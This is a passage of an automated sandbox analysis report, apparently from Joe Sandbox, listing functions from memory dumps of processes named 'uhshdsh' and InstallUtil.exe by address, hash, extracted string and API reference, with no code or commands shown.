Instruction ID: 4ee12daf3beb632409ad51cd350b7c21fe376cecbfd4decbf0e3966459928866
Opcode Fuzzy Hash: 02fc32f546fa91844d67342aa305dfc0c5fccdbf934751b3ee854bf787c16ad2
Instruction Fuzzy Hash: E6E0E574D09208AFCB44DF98D580AACBBB5EB89310F14C0AAEC4867341C672AA55DF84

Function 05241CE1 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1057df8777ae38d3126cafc390d5d00c7e91deebd0918fc4ef2487296e5604bb
Instruction ID: ab75ae0fae1909e92d2f08395c7a623ff10762f512c7328d1c954cb4615a9be7
Opcode Fuzzy Hash: 1057df8777ae38d3126cafc390d5d00c7e91deebd0918fc4ef2487296e5604bb
Instruction Fuzzy Hash: 44E08675519504DBC708C794D6417687BA1EF49219F1484C8DC1D47252C6379D53CF41

Function 05246CC8 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02fc32f546fa91844d67342aa305dfc0c5fccdbf934751b3ee854bf787c16ad2
Instruction ID: 795dd2f25a27c113ecc3edac2685bdebca8fc2b9b0e6d506ce4d96e0f2b6387f
Opcode Fuzzy Hash: 02fc32f546fa91844d67342aa305dfc0c5fccdbf934751b3ee854bf787c16ad2
Instruction Fuzzy Hash: 3EE0E574D09208AFCB44DF98D5446ACBBB5EB49310F20C0AAAC4953341D676AA51DF84

Function 05246EE2 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 151b2696d604c9538ba90380504a6b66b814c234b89aeeadb70c97bac44b6359
Instruction ID: f06a99680e9f60e567b7dcd75d187295686882209fa6146876dad35535014676
Opcode Fuzzy Hash: 151b2696d604c9538ba90380504a6b66b814c234b89aeeadb70c97bac44b6359
Instruction Fuzzy Hash: AAE08634919104DBCB04CFA4DA417ACBFB5EF46325F24C1A9DC0957351C672AD52CF40

Function 052426C0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d9a0bf3b936736d841ad718d912326a3b9b91bcc10cefaddf9a3545f06d9b98
Instruction ID: d279466ffe6ea6af1218557c96116b3f5000a6107f8023f321ad7100a8f4e5e0
Opcode Fuzzy Hash: 0d9a0bf3b936736d841ad718d912326a3b9b91bcc10cefaddf9a3545f06d9b98
Instruction Fuzzy Hash: 01E08C3A829108DFCB48CB95DC41BA8B7A9EB09224F14848CE91853311CA76ED02CF94

Function 068B8B48 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2298050999.00000000068A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_68a0000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 468530bf8ae0a98057f9cf3faa720672a0febf3ffb4d7349738b451ba504ab6b
Instruction ID: e77a59654b7cb1db93ef4be9c29df80c060d5355046e59204aedb6ead9236d12
Opcode Fuzzy Hash: 468530bf8ae0a98057f9cf3faa720672a0febf3ffb4d7349738b451ba504ab6b
Instruction Fuzzy Hash: 4DE04FB4D05208EFC744DFA8D4415ACFBB8EB48314F10C0E9DC4897341CA329A51DB84

Function 05241090 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca230fbc14d7fc2e1b8aa5a9e865a4361883389fdfbf728873c45f3fa6b86560
Instruction ID: b2d02d44750c0e307b04abcf7b603ccc18a2eb91b73943a5dc1fd37a4be22f26
Opcode Fuzzy Hash: ca230fbc14d7fc2e1b8aa5a9e865a4361883389fdfbf728873c45f3fa6b86560
Instruction Fuzzy Hash: ABE08634D19208EFC704DF94D4409ACBF75EF55310F20D099DC0813381C6729EA2DB84

Function 05242750 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8413d6c46f3d3a73941a7136b5a540ebbbaa14a5df485317a92c1d89460d4cfb
Instruction ID: 06824d8667395388261c63e16acb0feae70202ddcaf39b60f8e4b4c6386ca58f
Opcode Fuzzy Hash: 8413d6c46f3d3a73941a7136b5a540ebbbaa14a5df485317a92c1d89460d4cfb
Instruction Fuzzy Hash: A9E04F34D15208DFC784DFA8C54469CBBF5EF08620F6080A9980993341D6729A41CB41

Function 068BB658 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2298050999.00000000068A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_68a0000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b1598e0d879d60593c15a887af48e7b2fbc213f8c907337513da44fec54a516
Instruction ID: e5a14e5fdeebfd4953868867b7141449fa82502600ffa168e833c90a1cb2038b
Opcode Fuzzy Hash: 9b1598e0d879d60593c15a887af48e7b2fbc213f8c907337513da44fec54a516
Instruction Fuzzy Hash: CEE0127188210CDFC781EFF8C944ADE7BF9DF09310F5049A5960593250EE765E14D796

Function 068BD950 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2298050999.00000000068A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_68a0000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffd25a9c368af54c730d12ace507acf23c1542064e77284236fb709686863076
Instruction ID: 7b9a65236404b26abe4769e49f996b07eb913cb1c6cb921bbbd4be8d8efaca65
Opcode Fuzzy Hash: ffd25a9c368af54c730d12ace507acf23c1542064e77284236fb709686863076
Instruction Fuzzy Hash: 43E01271881208EFC781EFF8890069E7BF9DF09310F5089E59505D3250EE765A14D796

Function 068BE178 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2298050999.00000000068A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_68a0000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1566f47c9783a4165c8cb18d1d7938e88faa3d510f32f25c6b97a86c4841126a
Instruction ID: bfb13ec7c2ba2d527c0514e811eb80160996dfb16064282511cbdf7524aea1c7
Opcode Fuzzy Hash: 1566f47c9783a4165c8cb18d1d7938e88faa3d510f32f25c6b97a86c4841126a
Instruction Fuzzy Hash: E3E08C38909208DFC744DF98E8459ECBFB9EB45315F24D098980867341CA32AE42CB80

Function 05241CF0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ba45572768643eba76ab57cf2b7082170cfb4c307e428f0a934267dbb3026c1
Instruction ID: d39e0d7e3228cfbb1a116436a00d6e6fe1e9938fae01357f7c2e77e67d8af683
Opcode Fuzzy Hash: 1ba45572768643eba76ab57cf2b7082170cfb4c307e428f0a934267dbb3026c1
Instruction Fuzzy Hash: 59E0C274919208DBC708DFA8E4405ACBFB5EF85315F20C099DC0913341CA72AE92CF80

Function 05241338 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ba45572768643eba76ab57cf2b7082170cfb4c307e428f0a934267dbb3026c1
Instruction ID: e0804a0116967677f6f32a74cc0260529301f7e0ba98d9b416b65dc837892add
Opcode Fuzzy Hash: 1ba45572768643eba76ab57cf2b7082170cfb4c307e428f0a934267dbb3026c1
Instruction Fuzzy Hash: 74E0C234D19208DBCB08DF98D4405ACBFB9EF45310F24C0ACDC0813341CA72AE92DB80

Function 05247F98 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ba45572768643eba76ab57cf2b7082170cfb4c307e428f0a934267dbb3026c1
Instruction ID: 9cdde085fd14420303b35a9dc4797d047c57191cf6e936e41a0e5c9bc9c94237
Opcode Fuzzy Hash: 1ba45572768643eba76ab57cf2b7082170cfb4c307e428f0a934267dbb3026c1
Instruction Fuzzy Hash: BBE08C34919208DBC708DFA8D5405ACFBB9EB45311F248098980823341CB72AE43CB90

Function 05246EF0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ba45572768643eba76ab57cf2b7082170cfb4c307e428f0a934267dbb3026c1
Instruction ID: c5805c3d549f4b0f443f1ee9d78e8a2725a17e4c3a50db677cd68a9346418f15
Opcode Fuzzy Hash: 1ba45572768643eba76ab57cf2b7082170cfb4c307e428f0a934267dbb3026c1
Instruction Fuzzy Hash: B2E0C234919208DBC708DFA8D4405ACBBB5EF46314F20C099DC4913341CA72AE42CF80

Function 0180C100 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e088f49887a610203d2ed8f297751e0770ec0e5f89b1c5528eb7b3f338846bae
Instruction ID: 74a12439530f33c9e133d3727c6f5c422b6d5ac89ab2fa6c7573deb0c05b3a70
Opcode Fuzzy Hash: e088f49887a610203d2ed8f297751e0770ec0e5f89b1c5528eb7b3f338846bae
Instruction Fuzzy Hash: 27E08C70841208EFC741EFA8C905A8A7FF9DB0A211F0049A5E50993250EE764A00DB95

Function 05242408 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85ee3bf00cb923dd712531c62b406ee646d09b9a200cdf06f16b9ea4b4bdd46
Instruction ID: 219bbec283caa85f539a8d0ac9550973504217dd36e5c2c45918d29f43e38abf
Opcode Fuzzy Hash: e85ee3bf00cb923dd712531c62b406ee646d09b9a200cdf06f16b9ea4b4bdd46
Instruction Fuzzy Hash: 5BE0C234819208DFC755DBA9D4402BCBFB4EF09211F1080EDEC4857341DA729E42CB50

Function 05240740 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85ee3bf00cb923dd712531c62b406ee646d09b9a200cdf06f16b9ea4b4bdd46
Instruction ID: 046f38d227eb5fb675a406df7b029f9d8295704cbe482ad66d6952d69e11c3ff
Opcode Fuzzy Hash: e85ee3bf00cb923dd712531c62b406ee646d09b9a200cdf06f16b9ea4b4bdd46
Instruction Fuzzy Hash: D8E0C234819208EFC744DBA8D4486ACBFB4EF09311F1080E9DC4857381DA729E82DF41

Function 05245789 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5efc3087a4a956b76f7fcd0d1438ca7218d8c134ed0ae3d699c171da3d23059b
Instruction ID: 4b3beba9c055204facc500b9c611dca7004ce92472dec3569d93adab3872cfc1
Opcode Fuzzy Hash: 5efc3087a4a956b76f7fcd0d1438ca7218d8c134ed0ae3d699c171da3d23059b
Instruction Fuzzy Hash: 91E04FB890811C9FCB65CF54D814BDABBB5FB09300F0040D9D559A3345CA355E40CFA2

Function 052426D0 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f1c8938f5abcf57e11e010f4ed8aef192ed2819f7769492ddd2f2c644f8a7b4
Instruction ID: b98a06189b98635aae9e716aa7f8d209668f2159d097ecc6d0ce9a272b68ceaa
Opcode Fuzzy Hash: 5f1c8938f5abcf57e11e010f4ed8aef192ed2819f7769492ddd2f2c644f8a7b4
Instruction Fuzzy Hash: 1CD0A73451A108DFC748CB99D840A68B7BDEF4A324F50809CAC0D53351CA73ED01CF40

Function 01800950 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aae26b8763c72cdeeab287eb59d15c8572d5c17a724edc8f8a939df097f3fa4
Instruction ID: feb985d42c29156d2b13ffd41c8f8ca4af736cb7d8f86713f6ee8f7a01b11a62
Opcode Fuzzy Hash: 2aae26b8763c72cdeeab287eb59d15c8572d5c17a724edc8f8a939df097f3fa4
Instruction Fuzzy Hash: 15D05E70A0020CEFCB44DFA8EA0595DF7F9EB44205F1081A9DC0CD7225EBB16F009B80

Function 01800D09 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1816843cf08fd55e4e4601e1f216fe1aa1efbf8f522145feb6940b90e3923f4
Instruction ID: 52e9383f5641f6e965f9f8378a5c0e091e03e006135ef25189748de1a1218027
Opcode Fuzzy Hash: b1816843cf08fd55e4e4601e1f216fe1aa1efbf8f522145feb6940b90e3923f4
Instruction Fuzzy Hash: F3E026713042408FCB05CF68E945660BBB1FF09300B2444E9E8088F372D2359C01CB10

Function 01807C11 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e2b68898ec9d6d7b30e7456682ecd89c059cb97f7c4d0b8d7acf4cc52fcae31
Instruction ID: cb0ac833429625ce2fbc8ce885c684afaeb4c48110e631ac5d5c0050f8505908
Opcode Fuzzy Hash: 7e2b68898ec9d6d7b30e7456682ecd89c059cb97f7c4d0b8d7acf4cc52fcae31
Instruction Fuzzy Hash: C7D017347047808FC754DB78A0049297BB6AF85615B5580E8D00A87733EA359C418A40

Function 05244265 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2291778226.0000000005240000.00000040.00000800.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5240000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef909760a0d231dda5e61bfb63fb2f6952ccfb27cb6ea6e0c2ca2eba4148718b
Instruction ID: 19bd0b1f69781d5996eae98ed569a43e78b5862942e24224ecda5612a8e6b63f
Opcode Fuzzy Hash: ef909760a0d231dda5e61bfb63fb2f6952ccfb27cb6ea6e0c2ca2eba4148718b
Instruction Fuzzy Hash: 82E0BD39914269CFCF24DF20DA48BD8BBF1FB08346F0446D9804962290C3B84AC4CF04

Function 068BE570 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2298050999.00000000068A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_68a0000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec0a32e4bf3c9a604825f554e5986ce858c56a0c5c72ef4eb98d57482928d79f
Instruction ID: 0681338cb63651a6244dec6271ff2a576c2ae020edc3531d14d71d0caeb10b0e
Opcode Fuzzy Hash: ec0a32e4bf3c9a604825f554e5986ce858c56a0c5c72ef4eb98d57482928d79f
Instruction Fuzzy Hash: B9C08C3045A2088EC3A017D8610D3F83A9C8706326F802800690DC05135EA16060C2D9

Function 01807C20 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07c29970afacbf3a63b64999ee5be768368459804f8377e8ab39ee6ff5cea6bd
Instruction ID: d7b6645f740788c03a4a439b90e7bfe64ea72fd15220d47268fa95361917bc4a
Opcode Fuzzy Hash: 07c29970afacbf3a63b64999ee5be768368459804f8377e8ab39ee6ff5cea6bd
Instruction Fuzzy Hash: 6CC012343003088FCA08DA69E048828B3AAAF88A0431040A4E40E8B332DA31EC818A50

Function 0180BF70 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28f166d6acf60e0277a6a8195f15f7a23c13bafce28d5de7bbe43f458785668e
Instruction ID: 2906d9328dd816e4cb59177ebaa91c0bd03392002034d69059e1204966596e66
Opcode Fuzzy Hash: 28f166d6acf60e0277a6a8195f15f7a23c13bafce28d5de7bbe43f458785668e
Instruction Fuzzy Hash: A8C08C3088260C86E3D277EC6D497A87E988B09322F804000F60C91481CEB2A1A0C6AB

Function 01800841 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2277897641.0000000001800000.00000040.00000800.00020000.00000000.sdmp, Offset: 01800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1800000_uhshdsh.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cdf6a6d2845e8ba94b6d99344d28b226f178818896e5121249405cac4ecdf2c
Instruction ID: c9e03e61b050ed102057534a1fd003fe5ae5750e8c983d4faf0e1895ec112e09
Opcode Fuzzy Hash: 8cdf6a6d2845e8ba94b6d99344d28b226f178818896e5121249405cac4ecdf2c
Instruction Fuzzy Hash: 23B0926040C3802ACB5367788C082283E22B702371BCA40A9E088C608BC6FA91008B62

Non-executed Functions

Function 068A723F Relevance: 5.1, Strings: 4, Instructions: 52COMMON

Download Yara Rule

Strings

D, xrefs: 068A727C
*, xrefs: 068B1A79
`, xrefs: 068A724C
(, xrefs: 068B1AA8

Memory Dump Source

Source File: 00000006.00000002.2298050999.00000000068A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 068A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_68a0000_uhshdsh.jbxd

Similarity

API ID:
String ID: ($*$D$`
API String ID: 0-2464892299
Opcode ID: 2976b3e94a4275173d8a692b3a8b66c5045109a544ac4bad3909757d47fd954d
Instruction ID: c8433ce674aafa10f633148521409bf000626055b6fa5bf21f5c6f097e50fe88
Opcode Fuzzy Hash: 2976b3e94a4275173d8a692b3a8b66c5045109a544ac4bad3909757d47fd954d
Instruction Fuzzy Hash: 1621AE74D442298FEBA59F64C889BA9B7B1FB08309F1044EAD51DA3240DB786EC8CF51

Analysis Process: InstallUtil.exePID: 5064, Parent PID: 1028COMMON

Execution Graph

Execution Coverage:	7.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	49
Total number of Limit Nodes:	8

Executed Functions

Function 0731A620 Relevance: 3.2, Strings: 2, Instructions: 707
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(nq, xrefs: 0731A7E0
(nq, xrefs: 0731AE2B

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID: (nq$(nq
API String ID: 0-2974481825
Opcode ID: 68cd8c37421d26659c2882ce2361c767eb990edda92911da6fac800880c42b72
Instruction ID: b997d9ee16761a3b61cab97e429dbc6a45e5567ec8e3eeda9af8874eddd3cb71
Opcode Fuzzy Hash: 68cd8c37421d26659c2882ce2361c767eb990edda92911da6fac800880c42b72
Instruction Fuzzy Hash: D0428BB0B016168FDB18DF69C49866EFBF2FF88301F248629D55AD7781DB30A945CB80

Function 07318640 Relevance: 9.2, Strings: 7, Instructions: 402
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(nq, xrefs: 07318ABA
Hnq, xrefs: 07318B3D
(nq, xrefs: 07318E18
(nq, xrefs: 07318988
Hnq, xrefs: 07318B12
(nq, xrefs: 07318AE6
(nq, xrefs: 0731891E

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID: (nq$(nq$(nq$(nq$(nq$Hnq$Hnq
API String ID: 0-493190372
Opcode ID: 3f043d214d319d35a2758ae5d958fd8071d2e43b6348379ed87896cd2309ca00
Instruction ID: f6b62ebc1784e15b8092ae8c8f081ca4d7deaf9a933894a34656e265712349fe
Opcode Fuzzy Hash: 3f043d214d319d35a2758ae5d958fd8071d2e43b6348379ed87896cd2309ca00
Instruction Fuzzy Hash: 00E1F4717146018FEB18CF68D4846AEBBE2FF85325B548A5AD48EDB785CB30F801CB59

Function 00B9653F Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00B965BE
GetCurrentThread.KERNEL32 ref: 00B965FB
GetCurrentProcess.KERNEL32 ref: 00B96638
GetCurrentThreadId.KERNEL32 ref: 00B96691

Memory Dump Source

Source File: 00000007.00000002.4529573356.0000000000B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b90000_InstallUtil.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: a2993bdec3971bb10d758da9424a65b6160ac68c8e4e3e9fd82b7ccf21870e15
Instruction ID: 790ce31a4c95796bf2dfb3694eca906dce01842016ea641ce798937f5df6ca2c
Opcode Fuzzy Hash: a2993bdec3971bb10d758da9424a65b6160ac68c8e4e3e9fd82b7ccf21870e15
Instruction Fuzzy Hash: 5B5147B0D002098FDB14DFA9D548BEEBBF5EF88308F208469D419A7360D779A944CF65

Function 00B96540 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00B965BE
GetCurrentThread.KERNEL32 ref: 00B965FB
GetCurrentProcess.KERNEL32 ref: 00B96638
GetCurrentThreadId.KERNEL32 ref: 00B96691

Memory Dump Source

Source File: 00000007.00000002.4529573356.0000000000B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_b90000_InstallUtil.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: b3c6b884cdbb4d8c6fa33a33cf806d84123f41980baf66b57d4e679abff6e250
Instruction ID: 54dea95aa8bb771a48b4cd8ff238dce83e5b001ca55e19411222b5710813643d
Opcode Fuzzy Hash: b3c6b884cdbb4d8c6fa33a33cf806d84123f41980baf66b57d4e679abff6e250
Instruction Fuzzy Hash: 8D5147B0D002098FDB14DFA9D548BAEBBF5EF88308F208469D409A7360D779A944CF65

Function 073113D8 Relevance: 4.1, Strings: 3, Instructions: 360
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(nq, xrefs: 07311501
(nq, xrefs: 0731152D
Hnq, xrefs: 07311559

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID: (nq$(nq$Hnq
API String ID: 0-1151833592
Opcode ID: 82e032ac993a84384508dcca61cee939dc7b2898bb196ec6b1d9da1931a282ba
Instruction ID: ed81465658e60f1c1ccfc85741e3bd625833ff81aae634bad36be96d7cc5cb33
Opcode Fuzzy Hash: 82e032ac993a84384508dcca61cee939dc7b2898bb196ec6b1d9da1931a282ba
Instruction Fuzzy Hash: 1FE14174B00219DFCB08EFA4D4949AEBBB6EF89310F108569E5066B364DF30ED42CB91

Function 07316860 Relevance: 2.8, Strings: 2, Instructions: 295
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'jq, xrefs: 07316B12
4'jq, xrefs: 07316B49

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq
API String ID: 0-1204115232
Opcode ID: 5961fb38ec25cc21fb23c3286add77eff0e705aadd8382798d1f377ac8451521
Instruction ID: f22c4a3268266e20c4d8c763fb037e2128bf927f98d33fab7c014632d2971983
Opcode Fuzzy Hash: 5961fb38ec25cc21fb23c3286add77eff0e705aadd8382798d1f377ac8451521
Instruction Fuzzy Hash: BCC1AA74B00218DFDB04EFA8C994AADB7B6FF89300F504569E506AB3A5DB71ED42CB50

Function 07316850 Relevance: 2.8, Strings: 2, Instructions: 277
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'jq, xrefs: 07316B12
4'jq, xrefs: 07316B49

Memory Dump Source

Source File: 00000007.00000002.4552597813.0000000007310000.00000040.00000800.00020000.00000000.sdmp, Offset: 07310000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7310000_InstallUtil.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq
API String ID: 0-1204115232
Opcode ID: 5c5c70d286c1ac378af8fa0b5f4a88d326095e5121b7b13c479a49f4e07263fd
